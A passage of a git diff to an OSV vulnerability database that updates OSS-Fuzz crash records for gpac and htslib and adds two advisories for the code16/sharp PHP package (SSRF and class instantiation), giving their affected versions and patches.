state:\ngf_dash_group_get_template\ngf_dash_resolve_url\ngf_dash_download_init_segment\n```\n","affected":[{"package":{"name":"gpac","ecosystem":"OSS-Fuzz","purl":"pkg:generic/gpac"},"ranges":[{"type":"GIT","repo":"https://github.com/gpac/gpac","events":[{"introduced":"7323c74ff523fa2d5c4db793d5dfbc611ae505c4"},{"introduced":"60a10d09edb60bd6b4b588d36e685cc3ad9feeb9"}]}],"versions":["testtag0.1","abi-12","abi-12.16","abi-12.17","abi-12.18","abi-12.19","abi-12.20","abi-12.21","abi-12.22","abi-12.23","abi-12.24","abi-12.25","abi-12.26","abi-12.27","abi-13","abi-13.0","abi-14","abi-14.0","abi-15","abi-15.0","abi-15.1","abi-15.2","abi-16","abi-16.2","abi-16.3","abi-16.4","abi-16.5","v26.02.0","abi-16.6","abi-16.7","abi-16.8","abi-16.9","abi-16.10","abi-16.11","abi-16.12","abi-16.13","abi-16.14","abi-16.15","abi-16.16","abi-16.17","abi-16.18","abi-16.19","abi-16.20","abi-16.21","abi-16.22","v26.07.0","abi-16.23","abi-16.24","abi-16.25","abi-16.26","abi-16.27","abi-16.28","abi-16.29"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/gpac/OSV-2024-664.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70342"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2024-664","published":"2024-07-18T00:13:55.576218Z","modified":"2026-11-12T14:45:02.853870355Z","summary":"Heap-buffer-overflow in gf_dash_group_get_template","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70342\n\n```\nCrash type: Heap-buffer-overflow WRITE 1\nCrash state:\ngf_dash_group_get_template\ngf_dash_resolve_url\ngf_dash_download_init_segment\n```\n","affected":[{"package":{"name":"gpac","ecosystem":"OSS-Fuzz","purl":"pkg:generic/gpac"},"ranges":[{"type":"GIT","repo":"https://github.com/gpac/gpac","events":[{"introduced":"7323c74ff523fa2d5c4db793d5dfbc611ae505c4"},{"introduced":"60a10d09edb60bd6b4b588d36e685cc3ad9feeb9"}]}],"versions":["testtag0.1","abi-12","abi-12.16","abi-12.17","abi-12.18","abi-12.19","abi-12.20","abi-12.21","abi-12.22","abi-12.23","abi-12.24","abi-12.25","abi-12.26","abi-12.27","abi-13","abi-13.0","abi-14","abi-14.0","abi-15","abi-15.0","abi-15.1","abi-15.2","abi-16","abi-16.2","abi-16.3","abi-16.4","abi-16.5","v26.02.0","abi-16.6","abi-16.7","abi-16.8","abi-16.9","abi-16.10","abi-16.11","abi-16.12","abi-16.13","abi-16.14","abi-16.15","abi-16.16","abi-16.17","abi-16.18","abi-16.19","abi-16.20","abi-16.21","abi-16.22","v26.07.0","abi-16.23","abi-16.24","abi-16.25","abi-16.26","abi-16.27","abi-16.28","abi-16.29","abi-16.30"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/gpac/OSV-2024-664.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70342"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2024-695.json b/data/OSS-Fuzz/OSV-2024-695.json index 2d1f47428d..5d9ffd6a61 100644 --- a/data/OSS-Fuzz/OSV-2024-695.json +++ b/data/OSS-Fuzz/OSV-2024-695.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2024-695","published":"2024-07-31T00:02:35.217594Z","modified":"2026-11-07T14:45:04.512517415Z","summary":"Stack-buffer-overflow in gf_vvc_parse_nalu_bs","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70549\n\n```\nCrash type: Stack-buffer-overflow WRITE 4\nCrash state:\ngf_vvc_parse_nalu_bs\ngf_inspect_dump_nalu_internal\ninspect_process\n```\n","affected":[{"package":{"name":"gpac","ecosystem":"OSS-Fuzz","purl":"pkg:generic/gpac"},"ranges":[{"type":"GIT","repo":"https://github.com/gpac/gpac","events":[{"introduced":"99a7952e91938f8c0d16f2235b912de1fed6c1f8"}]}],"versions":["testtag0.1","abi-12","abi-12.16","abi-12.17","abi-12.18","abi-12.19","abi-12.20","abi-12.21","abi-12.22","abi-12.23","abi-12.24","abi-12.25","abi-12.26","abi-12.27","abi-13","abi-13.0","abi-14","abi-14.0","abi-15","abi-15.0","abi-15.1","abi-15.2","abi-16","abi-16.2","abi-16.3","abi-16.4","abi-16.5","v26.02.0","abi-16.6","abi-16.7","abi-16.8","abi-16.9","abi-16.10","abi-16.11","abi-16.12","abi-16.13","abi-16.14","abi-16.15","abi-16.16","abi-16.17","abi-16.18","abi-16.19","abi-16.20","abi-16.21","abi-16.22","v26.07.0","abi-16.23","abi-16.24","abi-16.25","abi-16.26","abi-16.27","abi-16.28","abi-16.29"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"introduced_range":"df8121066cf8fb25cc70adf7ca8b35bda82fe216:a012d226ec8de965159f8477e8929bb5d2f57c31","source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/gpac/OSV-2024-695.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70549"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2024-695","published":"2024-07-31T00:02:35.217594Z","modified":"2026-11-12T14:45:02.856061124Z","summary":"Stack-buffer-overflow in gf_vvc_parse_nalu_bs","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70549\n\n```\nCrash type: Stack-buffer-overflow WRITE 4\nCrash state:\ngf_vvc_parse_nalu_bs\ngf_inspect_dump_nalu_internal\ninspect_process\n```\n","affected":[{"package":{"name":"gpac","ecosystem":"OSS-Fuzz","purl":"pkg:generic/gpac"},"ranges":[{"type":"GIT","repo":"https://github.com/gpac/gpac","events":[{"introduced":"99a7952e91938f8c0d16f2235b912de1fed6c1f8"}]}],"versions":["testtag0.1","abi-12","abi-12.16","abi-12.17","abi-12.18","abi-12.19","abi-12.20","abi-12.21","abi-12.22","abi-12.23","abi-12.24","abi-12.25","abi-12.26","abi-12.27","abi-13","abi-13.0","abi-14","abi-14.0","abi-15","abi-15.0","abi-15.1","abi-15.2","abi-16","abi-16.2","abi-16.3","abi-16.4","abi-16.5","v26.02.0","abi-16.6","abi-16.7","abi-16.8","abi-16.9","abi-16.10","abi-16.11","abi-16.12","abi-16.13","abi-16.14","abi-16.15","abi-16.16","abi-16.17","abi-16.18","abi-16.19","abi-16.20","abi-16.21","abi-16.22","v26.07.0","abi-16.23","abi-16.24","abi-16.25","abi-16.26","abi-16.27","abi-16.28","abi-16.29","abi-16.30"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"introduced_range":"df8121066cf8fb25cc70adf7ca8b35bda82fe216:a012d226ec8de965159f8477e8929bb5d2f57c31","source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/gpac/OSV-2024-695.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70549"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2024-719.json b/data/OSS-Fuzz/OSV-2024-719.json index e987f99aa8..377e7b77b8 100644 --- a/data/OSS-Fuzz/OSV-2024-719.json +++ b/data/OSS-Fuzz/OSV-2024-719.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2024-719","published":"2024-08-07T00:05:22.699506Z","modified":"2026-11-07T14:45:04.513873627Z","summary":"Heap-buffer-overflow in hevc_ref_pic_lists_modification","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70890\n\n```\nCrash type: Heap-buffer-overflow WRITE 4\nCrash state:\nhevc_ref_pic_lists_modification\ngf_hevc_parse_nalu_bs\ngf_inspect_dump_nalu_internal\n```\n","affected":[{"package":{"name":"gpac","ecosystem":"OSS-Fuzz","purl":"pkg:generic/gpac"},"ranges":[{"type":"GIT","repo":"https://github.com/gpac/gpac","events":[{"introduced":"21cf0d2d4a0d6e5d14ffaa8472c9157f1333d379"}]}],"versions":["testtag0.1","abi-12","abi-12.16","abi-12.17","abi-12.18","abi-12.19","abi-12.20","abi-12.21","abi-12.22","abi-12.23","abi-12.24","abi-12.25","abi-12.26","abi-12.27","abi-13","abi-13.0","abi-14","abi-14.0","abi-15","abi-15.0","abi-15.1","abi-15.2","abi-16","abi-16.2","abi-16.3","abi-16.4","abi-16.5","v26.02.0","abi-16.6","abi-16.7","abi-16.8","abi-16.9","abi-16.10","abi-16.11","abi-16.12","abi-16.13","abi-16.14","abi-16.15","abi-16.16","abi-16.17","abi-16.18","abi-16.19","abi-16.20","abi-16.21","abi-16.22","v26.07.0","abi-16.23","abi-16.24","abi-16.25","abi-16.26","abi-16.27","abi-16.28","abi-16.29"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"introduced_range":"cf9017e7f44c1d0c9a4e520083aece0d3ab329f7:df8121066cf8fb25cc70adf7ca8b35bda82fe216","source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/gpac/OSV-2024-719.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70890"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2024-719","published":"2024-08-07T00:05:22.699506Z","modified":"2026-11-12T14:45:02.855845907Z","summary":"Heap-buffer-overflow in hevc_ref_pic_lists_modification","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70890\n\n```\nCrash type: Heap-buffer-overflow WRITE 4\nCrash state:\nhevc_ref_pic_lists_modification\ngf_hevc_parse_nalu_bs\ngf_inspect_dump_nalu_internal\n```\n","affected":[{"package":{"name":"gpac","ecosystem":"OSS-Fuzz","purl":"pkg:generic/gpac"},"ranges":[{"type":"GIT","repo":"https://github.com/gpac/gpac","events":[{"introduced":"21cf0d2d4a0d6e5d14ffaa8472c9157f1333d379"}]}],"versions":["testtag0.1","abi-12","abi-12.16","abi-12.17","abi-12.18","abi-12.19","abi-12.20","abi-12.21","abi-12.22","abi-12.23","abi-12.24","abi-12.25","abi-12.26","abi-12.27","abi-13","abi-13.0","abi-14","abi-14.0","abi-15","abi-15.0","abi-15.1","abi-15.2","abi-16","abi-16.2","abi-16.3","abi-16.4","abi-16.5","v26.02.0","abi-16.6","abi-16.7","abi-16.8","abi-16.9","abi-16.10","abi-16.11","abi-16.12","abi-16.13","abi-16.14","abi-16.15","abi-16.16","abi-16.17","abi-16.18","abi-16.19","abi-16.20","abi-16.21","abi-16.22","v26.07.0","abi-16.23","abi-16.24","abi-16.25","abi-16.26","abi-16.27","abi-16.28","abi-16.29","abi-16.30"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"introduced_range":"cf9017e7f44c1d0c9a4e520083aece0d3ab329f7:df8121066cf8fb25cc70adf7ca8b35bda82fe216","source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/gpac/OSV-2024-719.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=70890"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2026-1512.json b/data/OSS-Fuzz/OSV-2026-1512.json index f562a74701..151df533fe 100644 --- a/data/OSS-Fuzz/OSV-2026-1512.json +++ b/data/OSS-Fuzz/OSV-2026-1512.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2026-1512","published":"2026-11-08T00:22:15.690048Z","modified":"2026-11-12T12:30:04.834347956Z","summary":"Heap-buffer-overflow in cram_encode_container","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=582906998\n\n```\nCrash type: Heap-buffer-overflow READ 1\nCrash state:\ncram_encode_container\ncram_flush_container_mt\ncram_put_bam_seq\n```\n","affected":[{"package":{"name":"htslib","ecosystem":"OSS-Fuzz","purl":"pkg:generic/htslib"},"ranges":[{"type":"GIT","repo":"https://github.com/samtools/htslib.git","events":[{"introduced":"843ca7f53fad9538fe46df2c9d5a503b6b7afbaa"},{"fixed":"711871ab53f8133115dceed997d11f481c024e0a"},{"introduced":"6ff2e25c36e82fd9194702270bca322d321e1397"}]}],"versions":["1.21.1","1.21.2","1.21.3","1.22.1","1.22.2","1.22.3","1.22.4","1.23","1.23.1","1.23.2","1.23.3","1.24","1.24.1","1.25"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"introduced_range":"09c89d8f12b8367a5b869b563f5ae6f0888fb0f3:6a399ca07a0d6bb435676c68689ba361d592ebc9","source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/htslib/OSV-2026-1512.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=582906998"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2026-1512","published":"2026-11-08T00:22:15.690048Z","modified":"2026-11-12T14:30:05.720760431Z","summary":"Heap-buffer-overflow in cram_encode_container","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=582906998\n\n```\nCrash type: Heap-buffer-overflow READ 1\nCrash state:\ncram_encode_container\ncram_flush_container_mt\ncram_put_bam_seq\n```\n","affected":[{"package":{"name":"htslib","ecosystem":"OSS-Fuzz","purl":"pkg:generic/htslib"},"ranges":[{"type":"GIT","repo":"https://github.com/samtools/htslib.git","events":[{"introduced":"843ca7f53fad9538fe46df2c9d5a503b6b7afbaa"},{"fixed":"711871ab53f8133115dceed997d11f481c024e0a"},{"fixed":"ae5f79dd51cd296195293690b6f59f0b982ae877"},{"introduced":"6ff2e25c36e82fd9194702270bca322d321e1397"}]}],"versions":["1.21.1","1.21.2","1.21.3","1.22.1","1.22.2","1.22.3","1.22.4","1.23","1.23.1","1.23.2","1.23.3","1.24","1.24.1","1.25"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"fixed_range":"1a66eebeaeb5230d6514476306dd2dc4141b82f3:ae5f79dd51cd296195293690b6f59f0b982ae877","introduced_range":"09c89d8f12b8367a5b869b563f5ae6f0888fb0f3:6a399ca07a0d6bb435676c68689ba361d592ebc9","source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/htslib/OSV-2026-1512.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=582906998"}]} \ No newline at end of file diff --git a/data/Packagist/GHSA-g6f8-c3x9-jv7f.json b/data/Packagist/GHSA-g6f8-c3x9-jv7f.json new file mode 100644 index 0000000000..18eed909ee --- /dev/null +++ b/data/Packagist/GHSA-g6f8-c3x9-jv7f.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-g6f8-c3x9-jv7f","published":"2026-11-12T18:21:00Z","modified":"2026-11-12T18:30:04.910495062Z","aliases":["CVE-2026-84987"],"summary":"code16/sharp: Server-side request forgery through an unanchored autocomplete endpoint check","details":"### Impact\nAn authenticated attacker can call the Autocomplete API with the configured endpoint as a substring to request another server-side route.\n\n### Patches\nThe problem has been patched in 9.23.0 and pre-release version 10.0.0-beta.4. The regex verifying the endpoint has been anchored to forbid substring injection.\n\n### Workarounds\nUse `SharpFormAutocompleteRemoteField::setRemoteCallback()` instead of `SharpFormAutocompleteRemoteField::setRemoteEndpoint()`.","affected":[{"package":{"name":"code16/sharp","ecosystem":"Packagist","purl":"pkg:composer/code16/sharp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.23.0"}]}],"versions":["7.0.0-alpha.1","7.27.0","7.7.2","v4.0-BETA1","v4.0-BETA2","v4.0-BETA3","v4.0-BETA4","v4.0-BETA5","v4.0-BETA6","v4.0.0","v4.0.1","v4.0.10","v4.0.11","v4.0.12","v4.0.13","v4.0.14","v4.0.15","v4.0.16","v4.0.17","v4.0.18","v4.0.19","v4.0.2","v4.0.20","v4.0.21","v4.0.3","v4.0.4","v4.0.5","v4.0.6","v4.0.7","v4.0.8","v4.0.9","v4.1.0","v4.1.1","v4.1.10","v4.1.11","v4.1.12","v4.1.13","v4.1.14","v4.1.15","v4.1.16","v4.1.17","v4.1.18","v4.1.19","v4.1.2","v4.1.20","v4.1.21","v4.1.22","v4.1.23","v4.1.24","v4.1.25","v4.1.3","v4.1.4","v4.1.5","v4.1.6","v4.1.7","v4.1.8","v4.1.9","v4.2.0","v4.2.1","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v5.0.0","v5.0.0-alpha.1","v5.0.0-alpha.10","v5.0.0-alpha.2","v5.0.0-alpha.3","v5.0.0-alpha.4","v5.0.0-alpha.5","v5.0.0-alpha.6","v5.0.0-alpha.7","v5.0.0-alpha.8","v5.0.0-alpha.9","v5.0.1","v5.1.0","v5.1.1","v5.1.2","v5.2.0","v5.3.0","v5.3.1","v5.3.2","v5.3.3","v5.3.4","v5.3.5","v5.4.0","v5.4.1","v5.4.2","v5.4.3","v5.4.4","v5.4.5","v5.4.6","v6.0.0","v6.0.0-alpha.1","v6.0.0-alpha.2","v6.0.0-alpha.3","v6.0.0-alpha.4","v6.0.0-alpha.5","v6.0.0-alpha.6","v6.0.0-alpha.7","v6.0.0-beta.1","v6.0.0-beta.2","v6.0.0-beta.3","v6.0.1","v6.1.0","v6.1.1","v6.1.2","v6.1.3","v6.1.4","v6.1.5","v6.2.0","v6.3.0","v6.3.1","v6.3.2","v6.3.3","v6.4.0","v6.4.1","v6.5.0","v6.5.1","v6.5.2","v6.5.3","v6.5.4","v6.5.5","v7.0.0","v7.0.0-beta.1","v7.0.0-beta.2","v7.0.0-beta.3","v7.0.0-beta.4","v7.0.0-beta.5","v7.0.0-beta.6","v7.0.1","v7.0.2","v7.1.0","v7.10.0","v7.11.0","v7.12.0","v7.13.0","v7.14.0","v7.15.0","v7.16.0","v7.17.0","v7.17.1","v7.17.2","v7.17.3","v7.18.0","v7.19.0","v7.19.1","v7.2.0","v7.2.1","v7.2.2","v7.2.3","v7.2.4","v7.2.5","v7.20.0","v7.21.0","v7.22.0","v7.23.0","v7.23.1","v7.23.2","v7.24.0","v7.24.1","v7.25.0","v7.25.1","v7.25.2","v7.26.0","v7.26.1","v7.26.2","v7.27.1","v7.28.0","v7.29.0","v7.29.1","v7.29.2","v7.29.3","v7.29.4","v7.29.5","v7.29.6","v7.29.7","v7.3.0","v7.30.0","v7.4.0","v7.5.0","v7.5.1","v7.5.2","v7.6.0","v7.7.0","v7.7.1","v7.8.0","v7.9.0","v8.0.0","v8.0.1","v8.0.2","v8.0.3","v8.0.4","v8.0.5","v8.0.6","v8.0.7","v8.1.0","v8.1.1","v8.1.2","v8.2.0","v8.2.1","v8.3.0","v8.3.1","v8.3.2","v8.3.3","v8.3.4","v8.3.5","v8.3.6","v8.3.7","v8.4.0","v8.4.1","v8.4.2","v8.4.3","v8.4.4","v8.5.0","v8.6.0","v8.6.1","v9.0.0","v9.0.0-alpha.1","v9.0.0-alpha.2","v9.0.0-beta.1","v9.0.0-beta.10","v9.0.0-beta.11","v9.0.0-beta.12","v9.0.0-beta.13","v9.0.0-beta.14","v9.0.0-beta.15","v9.0.0-beta.16","v9.0.0-beta.17","v9.0.0-beta.2","v9.0.0-beta.3","v9.0.0-beta.4","v9.0.0-beta.5","v9.0.0-beta.6","v9.0.0-beta.7","v9.0.0-beta.8","v9.0.0-beta.9","v9.0.1","v9.0.2","v9.0.3","v9.0.4","v9.0.5","v9.0.6","v9.0.7","v9.0.8","v9.0.9","v9.1.0","v9.1.1","v9.1.2","v9.10.0","v9.10.1","v9.10.2","v9.11.0","v9.11.1","v9.12.0","v9.13.0","v9.13.1","v9.14.0","v9.14.1","v9.14.2","v9.14.3","v9.14.4","v9.15.0","v9.15.1","v9.16.0","v9.16.1","v9.17.0","v9.17.1","v9.18.0","v9.19.0","v9.19.1","v9.19.2","v9.19.3","v9.2.0","v9.2.1","v9.2.2","v9.2.3","v9.2.4","v9.2.5","v9.2.6","v9.2.7","v9.2.8","v9.20.0","v9.21.0","v9.21.1","v9.21.2","v9.22.0","v9.22.1","v9.22.2","v9.22.3","v9.22.4","v9.22.5","v9.3.0","v9.3.1","v9.3.2","v9.3.3","v9.3.4","v9.3.5","v9.3.6","v9.3.7","v9.4.0","v9.4.1","v9.5.0","v9.5.1","v9.5.2","v9.6.0","v9.6.1","v9.6.2","v9.6.3","v9.6.4","v9.6.5","v9.6.6","v9.7.0","v9.7.1","v9.7.2","v9.7.3","v9.8.0","v9.8.1","v9.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-g6f8-c3x9-jv7f/GHSA-g6f8-c3x9-jv7f.json"}},{"package":{"name":"code16/sharp","ecosystem":"Packagist","purl":"pkg:composer/code16/sharp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-beta.1"},{"fixed":"10.0.0-beta.4"}]}],"versions":["v10.0.0-beta.1","v10.0.0-beta.2","v10.0.0-beta.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-g6f8-c3x9-jv7f/GHSA-g6f8-c3x9-jv7f.json"}}],"references":[{"type":"WEB","url":"https://github.com/code16/sharp/security/advisories/GHSA-g6f8-c3x9-jv7f"},{"type":"WEB","url":"https://github.com/code16/sharp/pull/748"},{"type":"WEB","url":"https://github.com/code16/sharp/commit/339f89110f36d06eaad3f2b4bd048fa5424e5558"},{"type":"PACKAGE","url":"https://github.com/code16/sharp"},{"type":"WEB","url":"https://github.com/code16/sharp/releases/tag/v9.23.0"},{"type":"WEB","url":"https://github.com/code16/sharp/tree/v10.0.0-beta.4"}],"database_specific":{"cwe_ids":["CWE-625","CWE-918"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T18:21:00Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"}]} \ No newline at end of file diff --git a/data/Packagist/GHSA-h24v-f482-8cwf.json b/data/Packagist/GHSA-h24v-f482-8cwf.json new file mode 100644 index 0000000000..3e7a0ea30b --- /dev/null +++ b/data/Packagist/GHSA-h24v-f482-8cwf.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-h24v-f482-8cwf","published":"2026-11-12T18:18:44Z","modified":"2026-11-12T18:30:04.026467930Z","aliases":["CVE-2026-84974"],"summary":"code16/sharp: Arbitrary class instantiation through the embed_key API parameter","details":"### Impact\n\nAn authenticated attacker can instantiate any class in the PHP application by using the `embed_key` parameter across multiple API endpoints. The instantiation is performed by the Laravel container. As a result, the `__construct()` method of the class is called and all constructor dependencies are resolved. The attacker cannot specify parameter values and cannot call any arbitrary method.\n\n### Patches\n\nThe problem has been patched in 9.23.0 and pre-release version 10.0.0-beta.4. An additional check was added to verify that `embed_key` is a class extending `SharpFormEditorEmbed` before any instantiation.\n\n### Workarounds\n\nNo known workarounds.","affected":[{"package":{"name":"code16/sharp","ecosystem":"Packagist","purl":"pkg:composer/code16/sharp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.23.0"}]}],"versions":["7.0.0-alpha.1","7.27.0","7.7.2","v4.0-BETA1","v4.0-BETA2","v4.0-BETA3","v4.0-BETA4","v4.0-BETA5","v4.0-BETA6","v4.0.0","v4.0.1","v4.0.10","v4.0.11","v4.0.12","v4.0.13","v4.0.14","v4.0.15","v4.0.16","v4.0.17","v4.0.18","v4.0.19","v4.0.2","v4.0.20","v4.0.21","v4.0.3","v4.0.4","v4.0.5","v4.0.6","v4.0.7","v4.0.8","v4.0.9","v4.1.0","v4.1.1","v4.1.10","v4.1.11","v4.1.12","v4.1.13","v4.1.14","v4.1.15","v4.1.16","v4.1.17","v4.1.18","v4.1.19","v4.1.2","v4.1.20","v4.1.21","v4.1.22","v4.1.23","v4.1.24","v4.1.25","v4.1.3","v4.1.4","v4.1.5","v4.1.6","v4.1.7","v4.1.8","v4.1.9","v4.2.0","v4.2.1","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v5.0.0","v5.0.0-alpha.1","v5.0.0-alpha.10","v5.0.0-alpha.2","v5.0.0-alpha.3","v5.0.0-alpha.4","v5.0.0-alpha.5","v5.0.0-alpha.6","v5.0.0-alpha.7","v5.0.0-alpha.8","v5.0.0-alpha.9","v5.0.1","v5.1.0","v5.1.1","v5.1.2","v5.2.0","v5.3.0","v5.3.1","v5.3.2","v5.3.3","v5.3.4","v5.3.5","v5.4.0","v5.4.1","v5.4.2","v5.4.3","v5.4.4","v5.4.5","v5.4.6","v6.0.0","v6.0.0-alpha.1","v6.0.0-alpha.2","v6.0.0-alpha.3","v6.0.0-alpha.4","v6.0.0-alpha.5","v6.0.0-alpha.6","v6.0.0-alpha.7","v6.0.0-beta.1","v6.0.0-beta.2","v6.0.0-beta.3","v6.0.1","v6.1.0","v6.1.1","v6.1.2","v6.1.3","v6.1.4","v6.1.5","v6.2.0","v6.3.0","v6.3.1","v6.3.2","v6.3.3","v6.4.0","v6.4.1","v6.5.0","v6.5.1","v6.5.2","v6.5.3","v6.5.4","v6.5.5","v7.0.0","v7.0.0-beta.1","v7.0.0-beta.2","v7.0.0-beta.3","v7.0.0-beta.4","v7.0.0-beta.5","v7.0.0-beta.6","v7.0.1","v7.0.2","v7.1.0","v7.10.0","v7.11.0","v7.12.0","v7.13.0","v7.14.0","v7.15.0","v7.16.0","v7.17.0","v7.17.1","v7.17.2","v7.17.3","v7.18.0","v7.19.0","v7.19.1","v7.2.0","v7.2.1","v7.2.2","v7.2.3","v7.2.4","v7.2.5","v7.20.0","v7.21.0","v7.22.0","v7.23.0","v7.23.1","v7.23.2","v7.24.0","v7.24.1","v7.25.0","v7.25.1","v7.25.2","v7.26.0","v7.26.1","v7.26.2","v7.27.1","v7.28.0","v7.29.0","v7.29.1","v7.29.2","v7.29.3","v7.29.4","v7.29.5","v7.29.6","v7.29.7","v7.3.0","v7.30.0","v7.4.0","v7.5.0","v7.5.1","v7.5.2","v7.6.0","v7.7.0","v7.7.1","v7.8.0","v7.9.0","v8.0.0","v8.0.1","v8.0.2","v8.0.3","v8.0.4","v8.0.5","v8.0.6","v8.0.7","v8.1.0","v8.1.1","v8.1.2","v8.2.0","v8.2.1","v8.3.0","v8.3.1","v8.3.2","v8.3.3","v8.3.4","v8.3.5","v8.3.6","v8.3.7","v8.4.0","v8.4.1","v8.4.2","v8.4.3","v8.4.4","v8.5.0","v8.6.0","v8.6.1","v9.0.0","v9.0.0-alpha.1","v9.0.0-alpha.2","v9.0.0-beta.1","v9.0.0-beta.10","v9.0.0-beta.11","v9.0.0-beta.12","v9.0.0-beta.13","v9.0.0-beta.14","v9.0.0-beta.15","v9.0.0-beta.16","v9.0.0-beta.17","v9.0.0-beta.2","v9.0.0-beta.3","v9.0.0-beta.4","v9.0.0-beta.5","v9.0.0-beta.6","v9.0.0-beta.7","v9.0.0-beta.8","v9.0.0-beta.9","v9.0.1","v9.0.2","v9.0.3","v9.0.4","v9.0.5","v9.0.6","v9.0.7","v9.0.8","v9.0.9","v9.1.0","v9.1.1","v9.1.2","v9.10.0","v9.10.1","v9.10.2","v9.11.0","v9.11.1","v9.12.0","v9.13.0","v9.13.1","v9.14.0","v9.14.1","v9.14.2","v9.14.3","v9.14.4","v9.15.0","v9.15.1","v9.16.0","v9.16.1","v9.17.0","v9.17.1","v9.18.0","v9.19.0","v9.19.1","v9.19.2","v9.19.3","v9.2.0","v9.2.1","v9.2.2","v9.2.3","v9.2.4","v9.2.5","v9.2.6","v9.2.7","v9.2.8","v9.20.0","v9.21.0","v9.21.1","v9.21.2","v9.22.0","v9.22.1","v9.22.2","v9.22.3","v9.22.4","v9.22.5","v9.3.0","v9.3.1","v9.3.2","v9.3.3","v9.3.4","v9.3.5","v9.3.6","v9.3.7","v9.4.0","v9.4.1","v9.5.0","v9.5.1","v9.5.2","v9.6.0","v9.6.1","v9.6.2","v9.6.3","v9.6.4","v9.6.5","v9.6.6","v9.7.0","v9.7.1","v9.7.2","v9.7.3","v9.8.0","v9.8.1","v9.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-h24v-f482-8cwf/GHSA-h24v-f482-8cwf.json"}},{"package":{"name":"code16/sharp","ecosystem":"Packagist","purl":"pkg:composer/code16/sharp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-beta.1"},{"fixed":"10.0.0-beta.4"}]}],"versions":["v10.0.0-beta.1","v10.0.0-beta.2","v10.0.0-beta.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-h24v-f482-8cwf/GHSA-h24v-f482-8cwf.json"}}],"references":[{"type":"WEB","url":"https://github.com/code16/sharp/security/advisories/GHSA-h24v-f482-8cwf"},{"type":"WEB","url":"https://github.com/code16/sharp/pull/750"},{"type":"WEB","url":"https://github.com/code16/sharp/commit/dfafb44b11574e621bf0785f02c32b9866ab9923"},{"type":"PACKAGE","url":"https://github.com/code16/sharp"},{"type":"WEB","url":"https://github.com/code16/sharp/releases/tag/v9.23.0"},{"type":"WEB","url":"https://github.com/code16/sharp/tree/v10.0.0-beta.4"}],"database_specific":{"cwe_ids":["CWE-470"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T18:18:44Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"}]} \ No newline at end of file 